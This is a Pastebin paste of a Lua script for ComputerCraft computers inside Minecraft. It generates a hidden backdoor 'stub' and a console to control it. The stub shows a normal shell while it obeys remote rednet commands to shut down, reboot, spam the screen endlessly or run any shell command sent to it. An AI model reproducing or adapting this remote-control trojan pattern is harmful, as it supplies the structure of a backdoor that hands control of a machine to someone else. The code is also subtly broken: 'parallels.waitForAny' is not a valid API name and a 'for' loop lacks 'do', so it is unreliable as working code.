Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local stub = [[
- function a()
- term.clear()
- term.setCursorPos(1,1)
- shell.run("shell")
- end
- function b()
- while true do
- from, message = rednet.receive()
- if from == id then
- if message == "cmd:shutdown" then
- os.shutdown()
- elseif message == "cmd:reboot" then
- os.reboot()
- elseif message == "cmd:clear" then
- term.clear()
- term.setCursorPos(1,1)
- elseif message == "cmd:annoying" then
- while true do
- for i=1,30
- xxx, yyy = term.getSize()
- term.setCursorPos( math.random( xxx ), math.random( yyy ) )
- write( math.random( 999 ) )
- end
- sleep(0)
- end
- elseif string.sub( message, 1, 4 ) == "run:" then
- shell.run( string.sub( message, 5, #message ) )
- end
- end
- end
- end
- parallels.waitForAny( a,b )
- ]]
- print("Type 1 to generate a stub, press 2 to run commands.")
- local input = read()
- if input == "1" then
- fs.delete("stub")
- file = fs.open("stub", "w")
- file.write( "id = " ..os.getComputerID().. "\n" )
- file.write( stub )
- file.close()
- print("Saved as /stub")
- elseif input == "2" then
- write("ID: ")
- local id = tonumber(read())
- term.clear()
- term.setCursorPos(1,1)
- while true do
- print("Console:")
- write("Command: ")
- rednet.send( id, read() )
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment